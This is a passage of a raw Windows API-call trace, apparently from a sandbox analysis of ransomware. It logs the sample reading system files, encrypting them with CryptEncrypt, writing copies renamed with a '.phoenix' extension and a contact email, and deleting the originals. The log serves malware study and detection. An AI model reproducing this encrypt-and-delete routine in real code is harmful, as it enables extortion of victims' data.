	[0247.669] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3c90, dwBufLen=0x3c90 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x3c90) returned 1
	[0247.669] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x3c90, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x3c90, lpOverlapped=0x0) returned 1
	[0247.670] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151680) returned 1
	[0247.670] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.670] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0247.670] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.670] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x112, lpOverlapped=0x0) returned 1
	[0247.670] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.670] CloseHandle (hObject=0x2b4) returned 1
	[0247.670] CloseHandle (hObject=0x2b0) returned 1
	[0247.671] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\energy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\power efficiency diagnostics\\energy-report-latest.xml")) returned 1
	[0247.693] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.693] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\sleepstudy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\sleepstudy\\sleepstudy-report-latest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.704] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=25129) returned 1
	[0247.704] CloseHandle (hObject=0x2d8) returned 1
	[0247.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\sleepstudy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\sleepstudy\\sleepstudy-report-latest.xml")) returned 0x20
	[0247.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\sleepstudy-report-latest.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\sleepstudy\\sleepstudy-report-latest.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.705] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\sleepstudy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\sleepstudy\\sleepstudy-report-latest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0247.705] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.705] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.705] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\sleepstudy-report-latest.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\sleepstudy\\sleepstudy-report-latest.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.707] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151440) returned 1
	[0247.707] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.707] ReadFile (in: hFile=0x2d8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x6229, lpOverlapped=0x0) returned 1
	[0247.796] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x6230, dwBufLen=0x6230 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x6230) returned 1
	[0247.796] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x6230, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x6230, lpOverlapped=0x0) returned 1
	[0247.797] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151080) returned 1
	[0247.797] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.797] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0247.797] CryptDestroyKey (hKey=0x151080) returned 1
	[0247.797] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x112, lpOverlapped=0x0) returned 1
	[0247.797] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.797] CloseHandle (hObject=0x2d8) returned 1
	[0247.797] CloseHandle (hObject=0x2f0) returned 1
	[0247.797] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\SleepStudy\\sleepstudy-report-latest.xml" (normalized: "c:\\programdata\\microsoft\\windows\\sleepstudy\\sleepstudy-report-latest.xml")) returned 1
	[0247.798] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0247.798] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.798] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=370) returned 1
	[0247.799] CloseHandle (hObject=0x2f0) returned 1
	[0247.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini")) returned 0x26
	[0247.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.799] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.799] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.799] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0247.799] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.952] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0247.952] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.952] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x172, lpOverlapped=0x0) returned 1
	[0247.953] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x180, dwBufLen=0x180 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x180) returned 1
	[0247.953] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x180, lpOverlapped=0x0) returned 1
	[0247.954] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1514c0) returned 1
	[0247.954] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0247.954] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0247.954] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0247.954] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0247.954] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.954] CloseHandle (hObject=0x2f0) returned 1
	[0247.955] CloseHandle (hObject=0x2b0) returned 1
	[0248.313] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessibility\\desktop.ini")) returned 1
	[0248.643] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0248.643] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.644] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=85) returned 1
	[0248.644] CloseHandle (hObject=0x2e8) returned 1
	[0248.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini")) returned 0x26
	[0248.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.644] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.644] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.644] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.644] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.664] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0248.664] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.664] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x55, lpOverlapped=0x0) returned 1
	[0248.665] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60, dwBufLen=0x60 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x60) returned 1
	[0248.665] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x60, lpOverlapped=0x0) returned 1
	[0248.666] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151680) returned 1
	[0248.666] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.666] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0248.666] CryptDestroyKey (hKey=0x151680) returned 1
	[0248.666] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0248.667] CryptDestroyKey (hKey=0x151200) returned 1
	[0248.667] CloseHandle (hObject=0x2e8) returned 1
	[0248.667] CloseHandle (hObject=0x2f0) returned 1
	[0248.671] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\desktop.ini")) returned 1
	[0248.684] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0248.684] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.685] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=796) returned 1
	[0248.685] CloseHandle (hObject=0x2e8) returned 1
	[0248.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\desktop.ini")) returned 0x26
	[0248.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.685] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.685] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.685] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.685] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.692] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0248.692] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.692] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x31c, lpOverlapped=0x0) returned 1
	[0248.692] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x320, dwBufLen=0x320 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x320) returned 1
	[0248.692] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x320, lpOverlapped=0x0) returned 1
	[0248.693] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151280) returned 1
	[0248.693] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.693] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0248.693] CryptDestroyKey (hKey=0x151280) returned 1
	[0248.693] WriteFile (in: hFile=0x2f0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0248.693] CryptDestroyKey (hKey=0x151640) returned 1
	[0248.693] CloseHandle (hObject=0x2e8) returned 1
	[0248.693] CloseHandle (hObject=0x2f0) returned 1
	[0248.712] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\desktop.ini")) returned 1
	[0248.714] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0248.714] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.715] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=174) returned 1
	[0248.715] CloseHandle (hObject=0x2f0) returned 1
	[0248.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini")) returned 0x26
	[0248.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0248.715] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0248.715] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.715] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0248.715] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0248.718] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0248.718] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.718] ReadFile (in: hFile=0x2f0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xae, lpOverlapped=0x0) returned 1
	[0248.719] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0248.719] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xb0, lpOverlapped=0x0) returned 1
	[0248.719] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0248.719] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0248.719] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0248.719] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0248.719] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0248.720] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0248.720] CloseHandle (hObject=0x2f0) returned 1
	[0248.720] CloseHandle (hObject=0x2e8) returned 1
	[0248.720] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini")) returned 1
	[0248.722] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
